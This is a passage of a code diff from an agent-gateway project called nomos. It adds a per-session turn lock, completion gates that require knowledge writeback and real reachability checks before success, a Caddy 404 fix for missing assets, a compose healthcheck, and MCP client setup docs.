if s.hadDiscovery(ctx, sess2.ID) {
|
if s.hadDiscovery(ctx, sess2.ID) {
|
||||||
t.Fatal("hadDiscovery = true after a failed run call, want false (no facts learned)")
|
t.Fatal("hadDiscovery = true after a failed run call, want false (no facts learned)")
|
||||||
}
|
}
|
||||||
@@ -288,7 +420,7 @@ func TestHadDiscoveryAndWriteback(t *testing.T) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("createSession: %v", err)
|
t.Fatalf("createSession: %v", err)
|
||||||
}
|
}
|
||||||
s.logActivity(ctx, agentID, sess3.ID, "get_entity", nil, "", "entity row", 10, true, "corr-3")
|
s.logActivity(ctx, agentID, sess3.ID, "get_entity", nil, "", "entity row", 10, true, "corr-3", 0)
|
||||||
if s.hadDiscovery(ctx, sess3.ID) {
|
if s.hadDiscovery(ctx, sess3.ID) {
|
||||||
t.Fatal("hadDiscovery = true after get_entity, want false (DB lookups are not discovery)")
|
t.Fatal("hadDiscovery = true after get_entity, want false (DB lookups are not discovery)")
|
||||||
}
|
}
|
||||||
@@ -298,12 +430,12 @@ func TestHadDiscoveryAndWriteback(t *testing.T) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("createSession: %v", err)
|
t.Fatalf("createSession: %v", err)
|
||||||
}
|
}
|
||||||
s.logActivity(ctx, agentID, sess4.ID, "update_entity_attributes", nil, "", "ok", 10, true, "corr-4")
|
s.logActivity(ctx, agentID, sess4.ID, "update_entity_attributes", nil, "", "ok", 10, true, "corr-4", 0)
|
||||||
if !s.hadEntityWriteback(ctx, sess4.ID) {
|
if !s.hadEntityWriteback(ctx, sess4.ID) {
|
||||||
t.Fatal("hadEntityWriteback = false after update_entity_attributes, want true")
|
t.Fatal("hadEntityWriteback = false after update_entity_attributes, want true")
|
||||||
}
|
}
|
||||||
// And the discovery+writeback combination (the conv3 scenario).
|
// And the discovery+writeback combination (the conv3 scenario).
|
||||||
s.logActivity(ctx, agentID, sess4.ID, "run", nil, "", "apt-get update output", 100, true, "corr-5")
|
s.logActivity(ctx, agentID, sess4.ID, "run", nil, "", "apt-get update output", 100, true, "corr-5", 0)
|
||||||
if !s.hadDiscovery(ctx, sess4.ID) {
|
if !s.hadDiscovery(ctx, sess4.ID) {
|
||||||
t.Fatal("hadDiscovery = false after run+writeback, want true")
|
t.Fatal("hadDiscovery = false after run+writeback, want true")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,7 +5,9 @@ import (
|
|||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log/slog"
|
"log/slog"
|
||||||
|
"regexp"
|
||||||
"strings"
|
"strings"
|
||||||
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
|
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
|
||||||
@@ -185,7 +187,38 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
|||||||
// what the SOUL.md "approve the plan, not each step" model actually
|
// what the SOUL.md "approve the plan, not each step" model actually
|
||||||
// describes. set_goal records the goal + flips status to executing
|
// describes. set_goal records the goal + flips status to executing
|
||||||
// and nothing more.
|
// and nothing more.
|
||||||
return "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval.", true
|
response := "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval."
|
||||||
|
// P1.3 (2026-07-20): surface prior partial/failed sessions for the
|
||||||
|
// same problem so the agent can pick up the thread instead of
|
||||||
|
// rediscovering it. Three rclone sessions (a51e2086, 8acea2e3,
|
||||||
|
// cb8c8a4a) all bounced off the classifier because each new session
|
||||||
|
// started from scratch. The agent gets a hint with the prior
|
||||||
|
// goal + summary; if it looks related, search_knowledge or open
|
||||||
|
// the prior session's transcript (GET /sessions/{id}) before
|
||||||
|
// re-planning. See plans/2026-07-20-session-review-ten-sessions.md.
|
||||||
|
prior, _ := a.store.recentPartialSessions(ctx, sessionID, 24*time.Hour)
|
||||||
|
if len(prior) > 0 {
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString("\n\nNOTE — recent unfinished sessions (last 24h, outcome=partial/failed):")
|
||||||
|
for i, p := range prior {
|
||||||
|
if i >= 5 {
|
||||||
|
b.WriteString(fmt.Sprintf("\n ...and %d more", len(prior)-5))
|
||||||
|
break
|
||||||
|
}
|
||||||
|
sum := p.Summary
|
||||||
|
if sum == "" {
|
||||||
|
sum = "(no summary)"
|
||||||
|
}
|
||||||
|
if len(sum) > 200 {
|
||||||
|
sum = sum[:200] + "..."
|
||||||
|
}
|
||||||
|
b.WriteString(fmt.Sprintf("\n - %s (sid %s, outcome=%s): %s",
|
||||||
|
p.Goal, p.ID[:8], p.Outcome, sum))
|
||||||
|
}
|
||||||
|
b.WriteString("\nIf any of these looks like the same problem, search_knowledge for the prior investigation or read it via GET /sessions/{id} before re-planning — don't rediscover what was already learned.")
|
||||||
|
response += b.String()
|
||||||
|
}
|
||||||
|
return response, true
|
||||||
|
|
||||||
case "propose_plan":
|
case "propose_plan":
|
||||||
raw, _ := args["steps"].([]any)
|
raw, _ := args["steps"].([]any)
|
||||||
@@ -213,13 +246,17 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
|||||||
// the seq-order enforcement (5.6) require it to be completed last,
|
// the seq-order enforcement (5.6) require it to be completed last,
|
||||||
// and D.1's complete_task gate enforces the actual calls. Together
|
// and D.1's complete_task gate enforces the actual calls. Together
|
||||||
// they close the loop structurally — neither relies on the agent
|
// they close the loop structurally — neither relies on the agent
|
||||||
// reading SOUL.md.
|
// reading SOUL.md. The match is broadened past the literal tool
|
||||||
|
// names so a natural-language step ("Write back: update entity
|
||||||
|
// attributes…") isn't doubled by an auto-appended duplicate (P1.2).
|
||||||
hasWritebackStep := false
|
hasWritebackStep := false
|
||||||
for _, st := range steps {
|
for _, st := range steps {
|
||||||
if strings.Contains(st.Title, "update_entity_attributes") ||
|
t := strings.ToLower(st.Title + " " + st.Detail)
|
||||||
strings.Contains(st.Title, "create_relationship") ||
|
if strings.Contains(t, "update_entity_attributes") ||
|
||||||
strings.Contains(st.Detail, "update_entity_attributes") ||
|
strings.Contains(t, "create_relationship") ||
|
||||||
strings.Contains(st.Detail, "create_relationship") {
|
strings.Contains(t, "upsert_knowledge") ||
|
||||||
|
strings.Contains(t, "write back") ||
|
||||||
|
strings.Contains(t, "writeback") {
|
||||||
hasWritebackStep = true
|
hasWritebackStep = true
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -248,8 +285,19 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
|||||||
// The writeback step is now always present (D.2 auto-appends it if
|
// The writeback step is now always present (D.2 auto-appends it if
|
||||||
// the agent forgot), so the old advisory nudge is replaced by the
|
// the agent forgot), so the old advisory nudge is replaced by the
|
||||||
// structural gate: D.1 refuses complete_task without the actual
|
// structural gate: D.1 refuses complete_task without the actual
|
||||||
// update_entity_attributes/create_relationship calls.
|
// update_entity_attributes/create_relationship calls. Enumerate the
|
||||||
result := fmt.Sprintf("Plan set (%d steps)%s. If all steps are read-only, execute now — call update_plan_step(running) + run for each step, no approval needed. If any step is config_mutation/destructive, STOP and wait for operator approval (\"approved\", \"yes\", \"go\", \"proceed\", \"continue\", \"ok\", \"go ahead\"). Do not call propose_plan again.", len(persisted), appendedNote)
|
// step seqs so the model knows exactly which numbers to address with
|
||||||
|
// update_plan_step (seq is 1-based within this plan — the addressing
|
||||||
|
// key, not a global counter).
|
||||||
|
var seqs strings.Builder
|
||||||
|
for i, p := range persisted {
|
||||||
|
if i > 0 {
|
||||||
|
seqs.WriteString("; ")
|
||||||
|
}
|
||||||
|
title := fmt.Sprint(p["title"])
|
||||||
|
fmt.Fprintf(&seqs, "%v=%s", p["seq"], title)
|
||||||
|
}
|
||||||
|
result := fmt.Sprintf("Plan set (%d steps): %s.%s Address them with update_plan_step(seq=N). If all steps are read-only, execute now — call update_plan_step(running) + run for each step, no approval needed. If any step is config_mutation/destructive, STOP and wait for operator approval (\"approved\", \"yes\", \"go\", \"proceed\", \"continue\", \"ok\", \"go ahead\"). Do not call propose_plan again.", len(persisted), seqs.String(), appendedNote)
|
||||||
return result, true
|
return result, true
|
||||||
|
|
||||||
case "update_plan_step":
|
case "update_plan_step":
|
||||||
@@ -259,7 +307,17 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
|||||||
if seq <= 0 || status == "" {
|
if seq <= 0 || status == "" {
|
||||||
return "error: update_plan_step needs seq (>=1) and status", true
|
return "error: update_plan_step needs seq (>=1) and status", true
|
||||||
}
|
}
|
||||||
if err := a.store.updatePlanStep(ctx, sessionID, seq, status, execID); err != nil {
|
reason, _ := args["replaced_reason"].(string)
|
||||||
|
if err := a.store.updatePlanStep(ctx, sessionID, seq, status, execID, reason); err != nil {
|
||||||
|
if errors.Is(err, errPlanStepNotFound) {
|
||||||
|
// The seq doesn't address a step in the CURRENT plan — most
|
||||||
|
// often a stale 1-based number the model carried across a
|
||||||
|
// re-plan, or an out-of-range seq. seq is generation-relative
|
||||||
|
// (1..N within the latest propose_plan), so a superseded
|
||||||
|
// generation's row is never touched (P0.1 fix 3). Direct the
|
||||||
|
// model instead of silently no-op'ing.
|
||||||
|
return fmt.Sprintf("Step %d is not in the current plan. seq is 1-based within your latest propose_plan (a re-plan resets it to 1..N, so an old step number no longer applies). The plan was not changed. Re-address with the correct 1-based seq, or if you've lost track, re-read the plan.", seq), true
|
||||||
|
}
|
||||||
return fmt.Sprintf("error updating step %d: %v", seq, err), true
|
return fmt.Sprintf("error updating step %d: %v", seq, err), true
|
||||||
}
|
}
|
||||||
return fmt.Sprintf("Step %d → %s. (Advance with update_plan_step + run; do not re-propose.)", seq, status), true
|
return fmt.Sprintf("Step %d → %s. (Advance with update_plan_step + run; do not re-propose.)", seq, status), true
|
||||||
@@ -317,6 +375,18 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
|||||||
if outcome == "success" && a.store.hadDiscovery(ctx, sessionID) && !a.store.hadEntityWriteback(ctx, sessionID) {
|
if outcome == "success" && a.store.hadDiscovery(ctx, sessionID) && !a.store.hadEntityWriteback(ctx, sessionID) {
|
||||||
return "Refused: this session ran `run` against live targets (discovery) but did not call update_entity_attributes or create_relationship to persist what you learned. The knowledge graph will drift if you complete without writeback. Call update_entity_attributes for each entity you ran against (versions, states, counts, timestamps), and create_relationship for any edge you discovered, then call complete_task again. Outcome is held at 'executing' until you do.", true
|
return "Refused: this session ran `run` against live targets (discovery) but did not call update_entity_attributes or create_relationship to persist what you learned. The knowledge graph will drift if you complete without writeback. Call update_entity_attributes for each entity you ran against (versions, states, counts, timestamps), and create_relationship for any edge you discovered, then call complete_task again. Outcome is held at 'executing' until you do.", true
|
||||||
}
|
}
|
||||||
|
// D.2: refuse success when the goal mentions a reachability/uptime
|
||||||
|
// check but no verification was done. The agent can't claim "X is
|
||||||
|
// reachable" based on a shell command alone — the proxy (Caddy) can
|
||||||
|
// return 200 for a terminal page (ttyd) or fallback while the actual
|
||||||
|
// dashboard is still down. Must call ping_service or run a successful
|
||||||
|
// curl before claiming success.
|
||||||
|
if outcome == "success" && a.store.hadDiscovery(ctx, sessionID) {
|
||||||
|
goal := a.store.sessionGoal(ctx, sessionID)
|
||||||
|
if mentionsReachability(goal) && !a.store.hadRecentVerification(ctx, sessionID) {
|
||||||
|
return "Refused: the goal involves a reachability or uptime check (\"make X reachable\", \"get X up\", etc.), but no ping_service call or successful curl/HTTP request against the target was detected. Caddy can return 200 for a terminal or fallback page while the actual service is still down — you must verify the service itself, not just the proxy. Call ping_service(target) or run a curl against the actual service URL, then call complete_task again. Outcome held until verified.", true
|
||||||
|
}
|
||||||
|
}
|
||||||
if err := a.store.completeTask(ctx, sessionID, outcome, summary); err != nil {
|
if err := a.store.completeTask(ctx, sessionID, outcome, summary); err != nil {
|
||||||
if errors.Is(err, errTaskAlreadyComplete) {
|
if errors.Is(err, errTaskAlreadyComplete) {
|
||||||
return "Task is already complete. Do not call complete_task again. If the operator pointed out a UI/sidebar inconsistency, fix it with update_plan_step (reconcile step states) or summarize the panel in your reply — do not re-execute the work.", true
|
return "Task is already complete. Do not call complete_task again. If the operator pointed out a UI/sidebar inconsistency, fix it with update_plan_step (reconcile step states) or summarize the panel in your reply — do not re-execute the work.", true
|
||||||
@@ -333,6 +403,28 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// reachabilityPatterns matches goal text that involves making something
|
||||||
|
// reachable/accessible/working. Used by complete_task to surface a soft
|
||||||
|
// warning when the session goal was about reachability but no verification
|
||||||
|
// occurred before marking success.
|
||||||
|
var reachabilityPatterns = []*regexp.Regexp{
|
||||||
|
regexp.MustCompile(`(?i)https?://[^\s]+`),
|
||||||
|
regexp.MustCompile(`(?i)\.hubris\.net\w+`),
|
||||||
|
regexp.MustCompile(`(?i)(un)?reachable`),
|
||||||
|
regexp.MustCompile(`(?i)(not?\s+)?(accessible|reachable|responding|resolving)`),
|
||||||
|
regexp.MustCompile(`(?i)diagnose\s+why`),
|
||||||
|
regexp.MustCompile(`(?i)(fix|restore|bring\s+back).*(accessible|reachable|online)`),
|
||||||
|
}
|
||||||
|
|
||||||
|
func mentionsReachability(goal string) bool {
|
||||||
|
for _, p := range reachabilityPatterns {
|
||||||
|
if p.MatchString(goal) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
// autoCompleteTrivialTask is the case-1 fix from
|
// autoCompleteTrivialTask is the case-1 fix from
|
||||||
// plans/2026-07-11-task-completion-safety-net.md: a session that never
|
// plans/2026-07-11-task-completion-safety-net.md: a session that never
|
||||||
// called set_goal never framed itself as a structured task, so a turn that
|
// called set_goal never framed itself as a structured task, so a turn that
|
||||||
|
|||||||
90
cmd/nomos/turngate.go
Normal file
90
cmd/nomos/turngate.go
Normal file
@@ -0,0 +1,90 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// turnGate enforces at most one in-flight agent turn per session.
|
||||||
|
//
|
||||||
|
// Why this exists (plan 2026-08-03, F1): handleChat runs a turn in the HTTP
|
||||||
|
// request goroutine, and every "resume" path (the empty-message reconnect,
|
||||||
|
// the auto-continuation worker, the idle sweep, answer-question, the /resume
|
||||||
|
// endpoint) launches ANOTHER goroutine running a full turn. Nothing prevented
|
||||||
|
// two turns for the SAME session at once, so a network blip that triggered a
|
||||||
|
// reconnect would spawn a duplicate resumeSession while the original turn was
|
||||||
|
// still alive — their tool calls interleaved on the wire and in the persisted
|
||||||
|
// transcript, which is the root cause behind the "parallel/nesting/sequence
|
||||||
|
// is off" and "task didn't end / flaky" reports.
|
||||||
|
//
|
||||||
|
// Model: one permit (buffered-1 channel seeded with a single token) per
|
||||||
|
// session id. Acquiring consumes the token; releasing puts it back.
|
||||||
|
// - Background/best-effort callers (resumeSession and everything it backs)
|
||||||
|
// use a non-blocking acquire and SKIP when busy — a duplicate nudge while a
|
||||||
|
// turn is already running adds nothing, and the continuation/idle tickers
|
||||||
|
// will retry on their own.
|
||||||
|
// - The live chat path (an operator message) waits briefly for a finishing
|
||||||
|
// background turn, then bails with an actionable error if still busy — see
|
||||||
|
// handleChat.
|
||||||
|
//
|
||||||
|
// The permits map grows one entry per session id seen. For this single-agent
|
||||||
|
// homelab process that set is small and bounded by real sessions; cleanup is
|
||||||
|
// intentionally omitted (a sweep would race with acquire/release and the
|
||||||
|
// memory is negligible).
|
||||||
|
type turnGate struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
permits map[string]chan struct{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func newTurnGate() *turnGate {
|
||||||
|
return &turnGate{permits: make(map[string]chan struct{})}
|
||||||
|
}
|
||||||
|
|
||||||
|
// permit returns the single token-channel for sessionID, creating and seeding
|
||||||
|
// it on first use. Creation is guarded so two concurrent first-callers for the
|
||||||
|
// same id share one channel.
|
||||||
|
func (g *turnGate) permit(sessionID string) chan struct{} {
|
||||||
|
g.mu.Lock()
|
||||||
|
defer g.mu.Unlock()
|
||||||
|
ch, ok := g.permits[sessionID]
|
||||||
|
if !ok {
|
||||||
|
ch = make(chan struct{}, 1)
|
||||||
|
ch <- struct{}{}
|
||||||
|
g.permits[sessionID] = ch
|
||||||
|
}
|
||||||
|
return ch
|
||||||
|
}
|
||||||
|
|
||||||
|
// acquire takes the session's permit. With wait <= 0 it is non-blocking
|
||||||
|
// (returns false immediately if a turn is active). With wait > 0 it blocks up
|
||||||
|
// to wait for the permit, returning false on timeout. Every true return MUST
|
||||||
|
// be paired with exactly one release.
|
||||||
|
func (g *turnGate) acquire(sessionID string, wait time.Duration) bool {
|
||||||
|
ch := g.permit(sessionID)
|
||||||
|
if wait <= 0 {
|
||||||
|
select {
|
||||||
|
case <-ch:
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
t := time.NewTimer(wait)
|
||||||
|
defer t.Stop()
|
||||||
|
select {
|
||||||
|
case <-ch:
|
||||||
|
return true
|
||||||
|
case <-t.C:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// release returns the session's permit. Idempotent: a release with no matching
|
||||||
|
// acquire (or a double release) is a no-op rather than a blocking send.
|
||||||
|
func (g *turnGate) release(sessionID string) {
|
||||||
|
ch := g.permit(sessionID)
|
||||||
|
select {
|
||||||
|
case ch <- struct{}{}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
114
cmd/nomos/turngate_test.go
Normal file
114
cmd/nomos/turngate_test.go
Normal file
@@ -0,0 +1,114 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestTurnGate_NonBlockingSkipsWhenBusy(t *testing.T) {
|
||||||
|
g := newTurnGate()
|
||||||
|
if !g.acquire("s1", 0) {
|
||||||
|
t.Fatal("first non-blocking acquire should succeed on a free session")
|
||||||
|
}
|
||||||
|
// A second non-blocking acquire (a background resume) must skip, not queue.
|
||||||
|
if g.acquire("s1", 0) {
|
||||||
|
t.Fatal("second non-blocking acquire should fail while a turn is active")
|
||||||
|
}
|
||||||
|
// A different session is independent.
|
||||||
|
if !g.acquire("s2", 0) {
|
||||||
|
t.Fatal("acquire on a different session should succeed")
|
||||||
|
}
|
||||||
|
g.release("s2")
|
||||||
|
g.release("s1")
|
||||||
|
// After release, the session is free again.
|
||||||
|
if !g.acquire("s1", 0) {
|
||||||
|
t.Fatal("acquire should succeed again after release")
|
||||||
|
}
|
||||||
|
g.release("s1")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTurnGate_BlockingAcquireWaitsForRelease(t *testing.T) {
|
||||||
|
g := newTurnGate()
|
||||||
|
if !g.acquire("s1", 0) {
|
||||||
|
t.Fatal("first acquire should succeed")
|
||||||
|
}
|
||||||
|
|
||||||
|
got := make(chan bool, 1)
|
||||||
|
go func() { got <- g.acquire("s1", 2*time.Second) }()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-got:
|
||||||
|
t.Fatal("blocking acquire should wait, not return before release")
|
||||||
|
case <-time.After(50 * time.Millisecond):
|
||||||
|
// expected: still waiting
|
||||||
|
}
|
||||||
|
|
||||||
|
g.release("s1")
|
||||||
|
select {
|
||||||
|
case ok := <-got:
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("blocking acquire should succeed after release")
|
||||||
|
}
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("blocking acquire did not return after release")
|
||||||
|
}
|
||||||
|
g.release("s1")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTurnGate_BlockingAcquireTimesOut(t *testing.T) {
|
||||||
|
g := newTurnGate()
|
||||||
|
g.acquire("s1", 0) // hold the permit
|
||||||
|
|
||||||
|
start := time.Now()
|
||||||
|
if g.acquire("s1", 60*time.Millisecond) {
|
||||||
|
t.Fatal("acquire should time out while permit is held")
|
||||||
|
}
|
||||||
|
if elapsed := time.Since(start); elapsed < 50*time.Millisecond {
|
||||||
|
t.Fatalf("acquire returned too fast (%v); expected to wait ~60ms", elapsed)
|
||||||
|
}
|
||||||
|
g.release("s1")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestTurnGate_SingleFlightConcurrent is the core F1 guarantee: many concurrent
|
||||||
|
// background acquirers on the SAME session, exactly one runs at a time. This is
|
||||||
|
// the property that prevents two turns interleaving tool calls.
|
||||||
|
func TestTurnGate_SingleFlightConcurrent(t *testing.T) {
|
||||||
|
g := newTurnGate()
|
||||||
|
const n = 50
|
||||||
|
var inFlight, maxInFlight int64
|
||||||
|
var runs int64
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
wg.Add(n)
|
||||||
|
start := make(chan struct{})
|
||||||
|
for i := 0; i < n; i++ {
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
<-start
|
||||||
|
if !g.acquire("shared", 0) { // background-style: skip if busy
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer g.release("shared")
|
||||||
|
cur := atomic.AddInt64(&inFlight, 1)
|
||||||
|
for {
|
||||||
|
m := atomic.LoadInt64(&maxInFlight)
|
||||||
|
if cur <= m || atomic.CompareAndSwapInt64(&maxInFlight, m, cur) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
atomic.AddInt64(&runs, 1)
|
||||||
|
time.Sleep(2 * time.Millisecond)
|
||||||
|
atomic.AddInt64(&inFlight, -1)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
close(start)
|
||||||
|
wg.Wait()
|
||||||
|
|
||||||
|
if maxInFlight != 1 {
|
||||||
|
t.Fatalf("max in-flight turns = %d, want 1 (turns must not overlap)", maxInFlight)
|
||||||
|
}
|
||||||
|
if runs == 0 {
|
||||||
|
t.Fatal("expected at least one turn to run")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,5 +1,27 @@
|
|||||||
:80 {
|
:80 {
|
||||||
root * /srv
|
root * /srv
|
||||||
file_server
|
|
||||||
try_files {path} /index.html
|
# /wails/runtime.js is injected by the Wails desktop wrapper, which serves
|
||||||
|
# the same dist/ from its own asset handler. In a browser it does not
|
||||||
|
# exist, and the SPA fallback below answered it with index.html — so the
|
||||||
|
# browser parsed "<!doctype html>" as JavaScript and threw
|
||||||
|
# "SyntaxError: expected expression, got '<'" on every page load.
|
||||||
|
# Return a real 404 instead: the tag fails quietly, and the desktop app is
|
||||||
|
# unaffected because it never reaches this server.
|
||||||
|
handle /wails/* {
|
||||||
|
error 404
|
||||||
|
}
|
||||||
|
|
||||||
|
# Same reasoning for any other asset: a missing .js/.css/.map answered with
|
||||||
|
# HTML is always a confusing parse error rather than an honest 404. Only
|
||||||
|
# real routes should fall through to the SPA.
|
||||||
|
@asset path_regexp \.(js|mjs|css|map|json|png|jpg|svg|ico|woff2?)$
|
||||||
|
handle @asset {
|
||||||
|
file_server
|
||||||
|
}
|
||||||
|
|
||||||
|
handle {
|
||||||
|
file_server
|
||||||
|
try_files {path} /index.html
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -83,6 +83,18 @@ services:
|
|||||||
command: ["api"]
|
command: ["api"]
|
||||||
stop_signal: SIGTERM
|
stop_signal: SIGTERM
|
||||||
stop_grace_period: 30s
|
stop_grace_period: 30s
|
||||||
|
# Exists so nomos can wait for the API to actually answer rather than just
|
||||||
|
# for its container to exist — see nomos's depends_on below. wget is
|
||||||
|
# BusyBox's, already in the alpine runtime image, so this adds no
|
||||||
|
# dependency. /healthz pings the DB, so "healthy" means genuinely ready.
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD", "wget", "-q", "-O", "-", "http://127.0.0.1:8090/healthz"]
|
||||||
|
interval: 5s
|
||||||
|
timeout: 3s
|
||||||
|
retries: 10
|
||||||
|
# Migrations and seed run before this container, but the first bind can
|
||||||
|
# still take a moment; failures inside the start period don't count.
|
||||||
|
start_period: 10s
|
||||||
|
|
||||||
# Scheduler (Phase 3) — observe loop
|
# Scheduler (Phase 3) — observe loop
|
||||||
scheduler:
|
scheduler:
|
||||||
@@ -139,7 +151,12 @@ services:
|
|||||||
profiles: ["full"]
|
profiles: ["full"]
|
||||||
depends_on:
|
depends_on:
|
||||||
api:
|
api:
|
||||||
condition: service_started
|
# service_started only waits for the container to exist, so nomos came
|
||||||
|
# up while the API was still binding :8090, failed its MCP initialize,
|
||||||
|
# exited 1, and crash-looped for ~25s on every single deploy. It always
|
||||||
|
# recovered, which is exactly why it went unnoticed. service_healthy
|
||||||
|
# waits for the API to actually answer.
|
||||||
|
condition: service_healthy
|
||||||
environment:
|
environment:
|
||||||
NOMOS_MCP_URL: http://api:8090/mcp
|
NOMOS_MCP_URL: http://api:8090/mcp
|
||||||
NOMOS_AGENT_SLUG: agent:nomos
|
NOMOS_AGENT_SLUG: agent:nomos
|
||||||
|
|||||||
@@ -234,9 +234,33 @@ sequenceDiagram
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
**2026-07-08 — renamed to Nomos.** The Hermes agent gateway was renamed to
|
**2026-07-08 — renamed to Nomos.**
|
||||||
Nomos (from *oikonomos*, the steward of the oikos) under the
|
Nomos (from *oikonomos*, the steward of the oikos) under the
|
||||||
[Nomos resident agent plan](../../plans/2026-07-08-nomos-resident-agent.md),
|
[Nomos resident agent plan](../../plans/2026-07-08-nomos-resident-agent.md),
|
||||||
|
|
||||||
|
### Hermes MCP client setup
|
||||||
|
|
||||||
|
To connect a Hermes Agent instance to oikos as a native MCP client, add to
|
||||||
|
`~/.hermes/config.yaml`:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
mcp_servers:
|
||||||
|
oikos:
|
||||||
|
url: "https://mcp.hubris.network/mcp"
|
||||||
|
headers:
|
||||||
|
Authorization: "Bearer <OIKOS_MCP_BEARER_TOKEN>"
|
||||||
|
timeout: 180
|
||||||
|
```
|
||||||
|
|
||||||
|
Run `/reload-mcp` in-session or restart Hermes. Tools appear as
|
||||||
|
`mcp__oikos__*`.
|
||||||
|
|
||||||
|
**Caveat:** Hermes stores the bearer token in plaintext in `config.yaml` —
|
||||||
|
it does not support `${VAR}` interpolation in MCP server headers. Ensure
|
||||||
|
`security.redact_secrets: true` (default) so the token value is stripped
|
||||||
|
from tool output and logs. File an upstream feature request at
|
||||||
|
https://github.com/NousResearch/hermes-agent/issues for env-var
|
||||||
|
interpolation support.
|
||||||
N0 milestone. The gateway binary (`cmd/nomos`), Docker service, DB slug
|
N0 milestone. The gateway binary (`cmd/nomos`), Docker service, DB slug
|
||||||
(`agent:nomos`), and all referencing docs were updated. All architectural
|
(`agent:nomos`), and all referencing docs were updated. All architectural
|
||||||
principles in this ADR remain unchanged.
|
principles in this ADR remain unchanged.
|
||||||
@@ -13,11 +13,16 @@
|
|||||||
> feature of it — the same relationship [components.md](../mbse/components.md)
|
> feature of it — the same relationship [components.md](../mbse/components.md)
|
||||||
> has to [README.md](../mbse/README.md), applied recursively.
|
> has to [README.md](../mbse/README.md), applied recursively.
|
||||||
|
|
||||||
**Status of this Model:** the subsystem it describes does not exist in
|
**Status of this Model:** the subsystem it describes is **implemented**
|
||||||
code yet. Every View below is marked **Planned**, not **Verified** —
|
in `web/src/lib/mascot/` and `web/public/mascot/` (as of 2026-07-20).
|
||||||
compare to [../mbse/README.md](../mbse/README.md)'s confidence grading,
|
Views below are marked **Implemented** where the code matches; a small
|
||||||
which this document borrows. The corresponding implementation plan is
|
number of requirements (distinct adult art, a true round radial menu)
|
||||||
[plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md).
|
remain **Planned** as polish items. The corresponding implementation plan
|
||||||
|
is [plans/2026-07-20-desktop-mascot.md](../../plans/2026-07-20-desktop-mascot.md),
|
||||||
|
which carries a deviation note at the top covering the changes made
|
||||||
|
during implementation (hatch-on-naming, PNG-sheet art, button-column
|
||||||
|
radial menu, 60fps loop), and the physics audit/follow-up is
|
||||||
|
[plans/2026-07-20-mascot-physics-audit.md](../../plans/2026-07-20-mascot-physics-audit.md).
|
||||||
|
|
||||||
## Views in this model
|
## Views in this model
|
||||||
|
|
||||||
@@ -77,22 +82,23 @@ flowchart TB
|
|||||||
|
|
||||||
## 2. Requirements
|
## 2. Requirements
|
||||||
|
|
||||||
Traced from the original feature request. All **Planned**.
|
Traced from the original feature request. Status reflects the
|
||||||
|
2026-07-20 implementation; **Planned** items are deferred polish.
|
||||||
|
|
||||||
| ID | Statement | Source | Status |
|
| ID | Statement | Source | Status |
|
||||||
|---|---|---|---|
|
|---|---|---|---|
|
||||||
| MASC-1 | The mascot SHALL render as pixel-art, drawn from code (string pixel-grids + palette), not binary sprite assets | User request | Planned |
|
